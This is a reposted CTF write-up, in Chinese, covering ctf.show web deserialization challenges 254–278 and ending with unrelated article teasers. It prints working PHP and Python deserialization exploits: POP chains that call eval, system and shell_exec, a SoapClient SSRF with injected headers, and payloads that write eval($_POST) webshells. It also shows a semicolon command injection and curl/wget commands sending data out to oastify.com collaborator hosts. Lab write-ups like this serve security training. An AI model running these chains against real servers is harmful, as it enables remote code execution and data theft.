ctf_show笔记篇(web入门---反序列化)

news2024/11/15 13:36:47

目录

 反序列化

254:无用,是让熟悉序列化这个东西的

255:直接使$isVip=true

256:还是使用变量覆盖

257:开始使用魔法函数

258:将序列化最前面的过滤了,使用+绕过

259:  这一题需要看writeup才知道,  这个类里面还设置了一个__call函数,  里面写了调用SoapClient原生类,  存在ssrf

260:  直接传就可以

261:  构造pop链

262:  两种解法1.非预期解法.  2.字符串逃逸

263:  注意,这里通过inc/inc.php保存的文件在inc下

264:  和262差不多

265:  

266:  两种方式1.利用大小写绕过2.利用php处理畸形字符串的容错机制

方法1

方法2

##从这里开始后面的大多数都是框架漏洞,版本漏洞这些,去网上找nday或者链子这些啊就能做,如果想深入研究需要自行查找资料了

267:  yii web框架反序列化漏洞

268:  都是一样的框架,只是pop链改变点

269-270:这里推荐使用phpggc脚本

271-273:也同样是用phpggc直接做的

274:同样可以用phpgcc工具,只是需要base64加密一下

275:容易被误导

276:  

277-278:  这一题利用的是python的反序列化


 反序列化

254:无用,是让熟悉序列化这个东西的

255:直接使$isVip=true

<?php
class ctfShowUser{
    public $isVip=true;
}
$a = serialize(new ctfShowUser);
echo urlencode($a);
?>

256:还是使用变量覆盖

<?php
class ctfShowUser{
    public $username='a';
    public $password='xxxxxx';
    public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

257:开始使用魔法函数

__construct:当使用new实例化一个对象时调用

<?php

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    private $code='system("cat ./flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}
echo(urlencode(serialize(new ctfShowUser())));
?>

258:将序列化最前面的过滤了,使用+绕过

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a = serialize(new ctfShowUser());
echo(urlencode(str_replace('O:','O:+',$a)));
?>

259:  这一题需要看writeup才知道,  这个类里面还设置了一个__call函数,  里面写了调用SoapClient原生类,  存在ssrf

__call是一个魔法函数,  当调用不存在的参数或者函数就会去调用

SoapClient原生类,  类似于curl一样的存在,  基于 XML 的协议,它使应用程序通过 HTTP 来交换信息

从代码上看直接访问flag.php给X_FORWARDED_FOR赋值127.0.0.1三次(127.0.0.1,  127.0.0.1,  127.0.0.1)就可以绕过array_pop(删除数组末尾的值),  在传入token等于ctfshow就能得到flag

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

但是有问题,  去查询了才知道开启了Cloudflare代理( 大致意思就是,  无论传入什么ip都会指向cloudflare对应的服务器IP )

只能通过SoapClient原生类的反序列化来做

我的理解呢就是传入数据包(这时还是用的是代理的ip),  服务器解析数据包解析反序列化(这时已经进去服务器了,  在服务器里运行),  通过SoapClient原生类再重新传一次给自己的包,  这时就是从内部访问了,  代理就不会去将 HTTP 代理的 IP 地址附加到这个数据包的标头

一般的php是不会自带soap的

查看一下当前php版本再安装指定版本的soap

从下图框起来的地方看,  user-agent是可以操控的

<?php
//token=ctfshow
$client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:1234'));
$client->getFlag();
?>

poc:

<?php

$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

$client->AAA();
//echo urlencode(serialize($client));
?>

260:  直接传就可以

261:  构造pop链

这里需要学到一个新的知识点

所以这里就可以利用到__unserialize函数

  1. 利用file_put_contents($this->username, $this->password);写入shell最后

  2. 而__sleep可以不用管,  只有执行serialize才会执行

  3. 0x36d十进制就等于877,  所以不管你再文件名用887还是再shell里加一个887都无所谓

poc:

<?php
class ctfshowvip{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
}
echo urlencode(serialize(new ctfshowvip('877.php','<?php eval($_GET[a]) ?>')));

262:  两种解法1.非预期解法.  2.字符串逃逸

先说第一种

首先从hint上有提示message.php,  访问能看到

那么从这里就能得到一种非预期解法

直接给网站存储再本地的cookie添加一个base64编码的构造好的序列化字符串

再去添加cookie

这就是第一种非预期解

现在讲第二种,  字符串逃逸

大致来说呢,  就是传入fuck就会变成loveU这时就会多出一位

例如:

{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}

而fuck变成了loveU,  这时多出了一位,  而多出的一位就会被挤出去

{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";

利用这个原理来写poc

";s:5:"token";s:5:"admin";}我们最后是需要让这个在里面,  把;s:5:"token";s:4:"user";}挤出去,  所以需要构造27个fuck

'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

f=1
m=2
t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

263:  注意,这里通过inc/inc.php保存的文件在inc下

这里涉及一个新知识点:

php的session信息是储存在文件中的

session.save_handler="" 指定储存时使用的函数(默认是file)

但是当在页面设置时使用ini_set更改了值并且与默认的不同,  那么就会出现问题

这时,  如果传入一个|O:5:"Class"类似于这样的序列化,  php就会自动把|前面的当作键名用,  反而会反序列化|后的值

  • php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
  • php 键名+竖线(|)+经过serialize()函数处理过的值
  • php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

这一题就出现了此问题

现在去找session接受点

这里能看到当limit小于5时,  他会直接去拿存储在cookie里的limit(当然是会base64解密的)

所以构造好以后可以在本地cookie里插入

现在找注入点

在inc.php里,  可以利用file_put_contents写入文件漏洞,  刚好可以构造一个poc

而inc.php又存在上面说的问题

session.save_handler=""于user.ini默认设置不符,  会反序列化session中|后的数据所以

payload:  

<?php
class User{
    public $username = '1.php';
    public $password = '<?php eval($_POST[a]);?>';
}

echo urlencode(base64_encode("|".serialize(new User)));

264:  和262差不多

265:  

php的特性,  按地址传参

例如$a = 1    $b = 2,  这时让$b = &$a,  再给$a 重新赋个值 $a = 3,  这个时候$b就会一直跟着$a变化,  $a是什么$b就是什么

payload:

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
}

$a = new ctfshowAdmin('','');
$a->password = &$a->token;

echo urlencode(serialize($a));

266:  两种方式1.利用大小写绕过2.利用php处理畸形字符串的容错机制

从代码来看

  1. 用cs接收file_get_contents读取的传输的参数,  利用的是php://input伪协议
  2. 最后是需要执行到这个函数才行,  但是执行这个函数的条件是对象被销毁(也就是脚本结束后才会执行),  但是因为这里有这么一个函数会抛出异常导致无法立即执行destruct

方法1

,  大小写绕过


不知道是不是php似乎对类的名字大小写不敏感还是怎么回事,  可以传入Ctfshow进行绕过

payload:

<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}

$a = new ctfshow;

echo urlencode(serialize($a));
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

方法2

利用php处理畸形的序列化的处理措施,  当php收到畸形的序列化时,  会因为对此序列化的不放心,  会第一时间处理掉它,  所以能直接让处理他的顺序排在了最前面

  1. 直接将最后的序列化后的}去掉
    O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";
  2. 或者修改属性个数有点类似于绕过__wakeup魔法函数
    O:7:"ctfshow":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
  3. 反正就是让他变得畸形就可以,  可以自主尝试一下
    O:7:"ctfshow":3:{abc}


##从这里开始后面的大多数都是框架漏洞,版本漏洞这些,去网上找nday或者链子这些啊就能做,如果想深入研究需要自行查找资料了

267:  yii web框架反序列化漏洞

拿到题以后从wappalyzer插件来看,是yii框架

存在登录点

知道是yii框架的,直接去搜yii框架默认账户密码,或者直接尝试弱口令也行

账户:admin

密码:admin

登陆以后在about页面查看元代码发现有

拼接在url上发现爆出了反序列化的位置以及接入点还有编码编码

已经知道是yii框架了,直接去搜yii框架反序列化利用链,(找反序列化只有两种方法,1day或者nday,不然就只有代码审计)

此题设置了非调试模式的生产环境运行方式,用system之类的函数无回显,所以利用dnslog的方式将数据传输回来,或者是直接cp flag文件到另一个文件,然后去访问也行

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'curl -X POST -F a=`echo $PWD` 8pyk4oeb2c9codjxfyvclxip7gd710pp.oastify.com';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

这里利用burpsuit的collaborator

首先这里先获得了web的根目录

再通过写入webshell的方式

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'echo \'<?php eval(\$_POST[a]);>\' > /var/www/html/basic/web/1.php';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

268:  都是一样的框架,只是pop链改变点

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'cp /f* 1.txt';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }
}
namespace Codeception\Extension{

    use Faker\Generator;

    class RunProcess
    {
        private $processes = [];
        public function __construct(){
            $this->processes[]=new Generator();
        }
    }
}
namespace{


    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}

269-270:这里推荐使用phpggc脚本

大多数的php反序列化都有集成的poc,并且标明了漏洞版本,以及利用点

271-273:也同样是用phpggc直接做的

例如这几题都是用的laravel框架

如果实在利用不了可以去网上搜pop链

274:同样可以用phpgcc工具,只是需要base64加密一下

275:容易被误导

  1. filter类里有三个函数
  2. __construct将实例化时传入的两个值赋给filename和filecontent
  3. checkevil检查俩参数有没有php和flag大小写匹配
  4. __destruct当销毁时执行,用于删除,这里存在着绕过执行

我的第一想法其实时条件竞争,  在unlink函数没执行时访问file_out_contents写入的文件, 

$_SERVER['DOCUMENT_ROOT']:  返回网站根目录

但是我发现似乎这里的rm可以用 ; 隔断在执行一个新命令

payload:

?fn=php;ls

传入php让$this->evilfile=true,  然后用; 执行两个命令成功rce

276:  

277-278:  这一题利用的是python的反序列化

想要详细了解可以看pickle反序列化初探 - 先知社区 (aliyun.com)

利用reduce来执行命令

poc:  这里利用dnslog带外拿flag

import base64
import pickle
import os


class shell(object):
    def __reduce__(self):
        return (os.popen, ('wget go8p4bjno27m32col7ek2iexcoif66uv.oastify.com?a=`cat fla*`',))


k = shell()
print(base64.b64encode(pickle.dumps(k)))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1536291.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

uni-app攻略:如何对接驰腾打印机

一.引言 在当前的移动开发生态中&#xff0c;跨平台框架如uni-app因其高效、灵活的特点受到了开发者们的青睐。同时&#xff0c;随着物联网技术的飞速发展&#xff0c;智能打印设备已成为许多业务场景中不可或缺的一环。今天&#xff0c;我们就来探讨如何使用uni-app轻松对接驰…

全局过滤器实现Jwt校验

从Session到Jwt 之前我写过一篇 什么是 httpsession &#xff1a; 理解HttpSession 在经典的那个登录场景中&#xff1a; 客户端第一次访问的时候 需要登录 登录成功之后 后面再次访问的时候 为了让服务器认识 这是已经登录成功的我 在session中存储的用户的信息。 现在我…

按摩师C语言

题干出现“接或不接”,“最优”&#xff0c;仔细一想&#xff0c;该用动态规划了。 #include<stdio.h> int max(int a,int b) {if(a>b)return a;elsereturn b; } int massage(int* nums,int numSize) {if(numSize 0)return 0;else if(numSize 1)return nums[0];els…

面试笔记——MySQL(主从同步原理、分库分表)

主从同步原理 主从同步结构&#xff1a;主库负责写数据&#xff0c;从库负责读数据&#xff0c;如图—— MySQL主从复制的核心就是二进制日志&#xff08;BINLOG&#xff09;&#xff0c;它记录了所有的 DDL&#xff08;数据定义语言&#xff09;语句和 DML&#xff08;数据操…

php表单生成器系统下载 全新万能自定义表单系统源码 开源可二开

在数字化时代&#xff0c;表单系统是许多网站和应用不可或缺的一部分。为了满足不同场景下的需求&#xff0c;分享一个全新万能自定义表单系统源码&#xff0c;基于PHP开发&#xff0c;具有高度的灵活性和可扩展性&#xff0c;支持设置收费表单在线提交&#xff0c;比如说&…

Unity类银河恶魔城学习记录11-3 p105 Inventory UI源代码

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释&#xff0c;可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili UI_itemSlot.cs using System.Collections; using System.Collections.Gen…

JAVA八股--集合面试题

AVA八股--集合面试题--上 java只有值传递&#xff0c;没有引用传递代理模式Java之HashMap和Hashtable选用 ArrayDeque 来实现队列要比 LinkedList 更好为什么HashMap的长度一定是2的次幂&#xff1f;HashMap常见遍历方式 java只有值传递&#xff0c;没有引用传递 文章讲解 文…

全面放开的主流电商API接口,跨境电商与您“面对面”

通过 API&#xff0c;一个软件可以向另一个软件请求数据、执行操作或者提供服务。比如&#xff0c;当你使用手机上的天气应用程序时&#xff0c;它可能通过调用天气预报 API 来获取实时天气数据。又或者&#xff0c;当你在社交媒体上分享照片时&#xff0c;这个应用程序可能使用…

transformer的学习:Attention is all you need

目录 整体概述&#xff1a;​编辑​编辑 encoder&#xff1a; embedding&#xff1a; ​编辑 self-attention&#xff1a; 向量的相似度计算&#xff1a; qkv怎么来的​编辑 softmax&#xff1a; code multi-head-attention 位置编码&#xff1a; 残差&&FFN&…

基于react native的自定义轮播图

基于react native的自定义轮播图 效果示例图示例代码 效果示例图 示例代码 import React, {useEffect, useRef, useState} from react; import {Animated,PanResponder,StyleSheet,Text,View,Dimensions, } from react-native; import {pxToPd} from ../../common/js/device;c…

8个 C++ 开源项目,帮初学者快速进阶

参与或阅读开源项目的源代码&#xff0c;可以获得丰富的实践机会。下面&#xff0c;让我们一起看看以下八个优秀的 C 开源项目。 通过参与或阅读开源项目的源代码&#xff0c;你可以获得丰富的实践机会。实际的项目代码比简单的教程更具挑战性&#xff0c;可以帮助你深入理解 …

19.作业

1.作业样例图 2.学习视频 19.作业讲解

LeetCode每日一题【19. 删除链表的倒数第 N 个结点】

思路&#xff1a;快慢指针 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullptr) {}* ListNode(int x) : val(x), next(nullptr) {}* ListNode(int x, ListNode *next) : val(x)…

vuex - 21年的笔记 - 后续更新

vuex是什么 Vuex是实现组件全局状态&#xff08;数据&#xff09;管理的一种机制&#xff0c;方便的实现组件之间的数据的共享 使用vuex统一管理状态的好处 能够在vuex中集中管理共享的数据&#xff0c;易于开发和后期维护能够高效地实现组件之间的数据共享&#xff0c;提高…

程序设计基础--C语言【三】

课堂笔记两次合集 3.运算符 目录 3.运算符 3.1.算术运算符 3.2.赋值运算符 3.3.增1、减1运算符 3.4.关系运算符 3.5.逻辑运算符 3.6.条件运算符 3.7.类型转换 3.8.基本输入、输出函数 3.8.1.字符输出函数putchar() 3.8.2.字符输入函数getchar() 3.8.3.格式化输入…

算法-图的强连通分量,图的最小生成树

1.图的强连通分量 (1). 定义 图的强连通分量是图论中的一个重要概念&#xff0c;主要在有向图中进行讨论。具体来说&#xff0c;如果在一个有向图G中&#xff0c;任意两个顶点vi和vj&#xff08;其中vi大于vj&#xff09;之间都存在一条从vi到vj的有向路径&#xff0c;同时也存…

Android App开发的自动化测试框架UI Automator使用教程

Android的自动化测试有很多框架&#xff0c;其中ui automator是google官方提供的黑盒UI相关的自动化测试工具&#xff0c;&#xff08;GitHub主页&#xff1a;case使用java写&#xff0c;今天实践了一下官方文档中样例程序&#xff0c;其中还是有一些小问题需要总结一下的。 环…

为什么签名apk,需要公钥证书和私钥证书,不是私钥就能签名吗?对应的公钥通常包含在APK文件中,这样用户和系统可以验证签名的有效性

在Android开发中&#xff0c;对APK进行签名确实需要使用到公钥证书和私钥证书&#xff0c;而不仅仅是私钥。以下是详细解释&#xff1a; 身份验证&#xff1a;公钥证书作为应用程序的身份证明&#xff0c;可以帮助用户或系统验证安装的APK的真实性。当用户下载并安装APK时&…

第十四届蓝桥杯(C/C++ 大学B组)

试题 A&#xff1a;日期统计 #include <bits/stdc.h> using namespace std;const int numbers[100] {5, 6, 8, 6, 9, 1, 6, 1, 2, 4, 9, 1, 9, 8, 2, 3, 6, 4, 7, 7, 5, 9, 5, 0, 3, 8, 7, 5, 8, 1, 5,8, 6, 1, 8, 3, 0, 3, 7, 9, 2, 7, 0, 5, 8, 8, 5, 7, 0, 9, 9, 1, …

2016年认证杯SPSSPRO杯数学建模A题(第二阶段)洗衣机全过程文档及程序

2016年认证杯SPSSPRO杯数学建模 A题 洗衣机 原题再现&#xff1a; 洗衣机是普及率极高的家用电器&#xff0c;它给人们的生活带来了很大的方便。家用洗衣机从工作方式来看&#xff0c;有波轮式、滚筒式、搅拌式等若干种类。在此基础上&#xff0c;各厂商也推出了多种具体方案…